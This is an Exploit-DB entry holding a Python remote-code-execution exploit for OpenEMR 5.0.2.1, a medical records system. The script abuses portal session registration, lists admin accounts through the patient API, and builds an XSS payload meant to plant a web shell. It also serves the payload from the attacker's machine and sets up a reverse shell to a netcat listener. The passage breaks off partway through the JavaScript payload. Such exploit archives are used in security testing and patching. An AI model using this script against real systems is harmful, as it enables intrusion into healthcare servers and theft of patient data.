Exploit-DB #49784
Description: OpenEMR 5.0.2.1 - Remote Code Execution
Type: webapps
Platform: php
Date: 2021-04-21
Author: Hato0

Exploit:
# Exploit Title: OpenEMR 5.0.2.1 - Remote Code Execution
# Exploit Author: Hato0, BvThTrd
# Date: 2020-08-07
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://sourceforge.net/projects/openemr/files/OpenEMR%20Current/5.0.2.1/openemr-5.0.2.tar.gz/download
# Version: 5.0.2.1 (without patches)
# Tested on: Ubuntu Server 20.04.1 LTS, OpenEMR Version 5.0.2.1
# References:
# https://blog.sonarsource.com/openemr-5-0-2-1-command-injection-vulnerability?utm_medium=cpc&utm_source=twitter&utm_campaign=openemr&utm_term=security&utm_content=tofu
# https://www.youtube.com/watch?v=H8VWNwWgYJo&feature=emb_logo

#!/usr/bin/python3

WARNING='''


===================================== WARNING =====================================
    Please do not use for illegal purposes. It's for educational use only. 
                        Please be on the good side.
===================================================================================


'''

import argparse
import http.server
import socketserver
import requests
from termcolor import colored
import json

OPENEMR_DIR = ""
RHOST = "127.0.0.1"
RPORT = 80
VHOST = ""
LHOST = "127.0.0.1"
LPORT = 4444
WPORT = 8080

def main():
    print(colored(WARNING, "red"))
    arguments()
    cookie1, cookie2 = init_session() 
    jsonReceived, id = get_api(cookie1["OpenEMR"], cookie2["PortalOpenEMR"])
    write_payload_js()
    write_wshell()
    send_xss(id,cookie1["OpenEMR"], cookie2["PortalOpenEMR"], jsonReceived)	
    if len(VHOST) > 0 :
        print(colored("[+]", "green"),f'Your wshell is available at http://{VHOST}/{OPENEMR_DIR}interface/main/wshell.php?cmd=')
    else:
        print(colored("[+]", "green"),f'Your wshell is available at http://{RHOST}:{RPORT}/{OPENEMR_DIR}interface/main/wshell.php?cmd=')
    web_serv()

def arguments():
    parser = argparse.ArgumentParser(description='This exploit drop a web shell on an OpenEMR v5.0.2.1 CMS. At the end, GET the URL and run a netcat listener on the LHOST:LHPORT. You will be able to do a Remote Code Execution on this server.')
    parser.add_argument("-d", "--directory", dest='directory', nargs='?', help="Root directory OpenEMR CMS")
    parser.add_argument("-rh", "--rhost", dest='rhost', help="Remote server IP", required=True)
    parser.add_argument("-rp", "--rport", dest='rport', nargs='?', help="Remote server PORT", type=int)
    parser.add_argument("-vh", "--vhost", dest='vhost', nargs='?', help="Remote server DOMAIN_NAME")
    parser.add_argument("-lh", "--lhost", dest='lhost', help="Reverse shell IP", required=True)
    parser.add_argument("-lp", "--lport", dest='lport', help="Reverse shell PORT", type=int, required=True)
    parser.add_argument("-wp", "--wport", dest='wport', nargs='?', help="Web Server PORT", type=int)

    args = parser.parse_args()

    if(args.directory != None):
        global OPENEMR_DIR
        OPENEMR_DIR = str(args.directory)
        if OPENEMR_DIR[-1] != "/":
            OPENEMR_DIR += "/"
    if(args.rhost != None):
        global RHOST
        RHOST =  str(args.rhost)
    if(args.rport != None):
        global RPORT 
        RPORT = int(args.rport)
    if(args.vhost != None):
        global VHOST
        VHOST =  str(args.vhost)
    if(args.lhost != None):
        global LHOST 
        LHOST = str(args.lhost)
    if(args.lport != None):
        global LPORT 
        LPORT = int(args.lport)
    if(args.wport != None):
        global WPORT 
        WPORT = int(args.wport)

def init_session():
	r = requests.get(f'http://{RHOST}:{RPORT}/{OPENEMR_DIR}interface/login/login.php?site=default', headers={'host': VHOST})			

	if (r.status_code != 200):
		print(colored("[-]", "red"),f'An error occured : {r.status_code} ==>\n{r.text}')
		exit(1)
	else:
		print(colored("[+]", "green"),f'Successfully set Session_Regsiter=true with cookie OpenEMR:{r.cookies["OpenEMR"]}')

	cookies = {"OpenEMR" : r.cookies["OpenEMR"]}
	r = requests.get(f'http://{RHOST}:{RPORT}/{OPENEMR_DIR}portal/account/register.php', headers={'host': VHOST}, cookies=cookies)			

	if (r.status_code != 200):
		print(colored("[-]", "red"),f'An error occured : {r.status_code} ==>\n{r.text}')
		exit(1)
	else:
		print(colored("[+]", "green"),f'Successfully set Session_Regsiter=true with cookie PortalOpenEMR:{r.cookies["PortalOpenEMR"]}')


	cookies2 = {"PortalOpenEMR": r.cookies["PortalOpenEMR"]}
	return (cookies, cookies2)


def get_api(cookieEMR, cookiePortal):
	cookies = {"OpenEMR" : cookieEMR, "PortalOpenEMR": cookiePortal}

	r = requests.get(f'http://{RHOST}:{RPORT}/{OPENEMR_DIR}portal/patient/api/users/', headers={'host': VHOST}, cookies=cookies)

	parsed_json = (json.loads(r.text))
	for row in parsed_json['rows']:
		if row['authorized'] == str(1):
			print(colored("[+]", "green"),f'Find admin :')
			print(colored('\t[*]', 'yellow'), f'Id = {row["id"]}')
			print(colored('\t[*]', 'yellow'), f'Username = {row["username"]}')
			print(colored('\t[*]', 'yellow'), f'lname = {row["lname"]}')
			print(colored('\t[*]', 'yellow'), f'fname = {row["fname"]}')
			id = row['id']
			json_to_return = row
	if (r.status_code != 200):
		print(colored("[-]", "red"),f'An error occured : {r.status_code} ==>\n{r.text}')
		exit(1)
	else:
		return (json_to_return, id)


def write_payload_js():
    payload = "var xmlHttp = new XMLHttpRequest();\n"
    payload += "var token = window.location.href;\n"
    if len(VHOST) > 0 :
        payload += "var mainUrl = 'http://{0}/{1}interface/main/tabs/main.php?token_main=';\n".format(VHOST, OPENEMR_DIR)
        payload += "var backUrl = 'http://{0}/{1}interface/main/backup.php';\n".format(VHOST,OPENEMR_DIR)
    else:
        payload += "var mainUrl = 'http://{0}:{1}/{2}interface/main/tabs/main.php?token_main=';\n".format(RHOST, RPORT, OPENEMR_DIR)
        payload += "var backUrl = 'http://{0}:{1}/{2}interface/main/backup.php';\n".format(RHOST, RPORT, OPE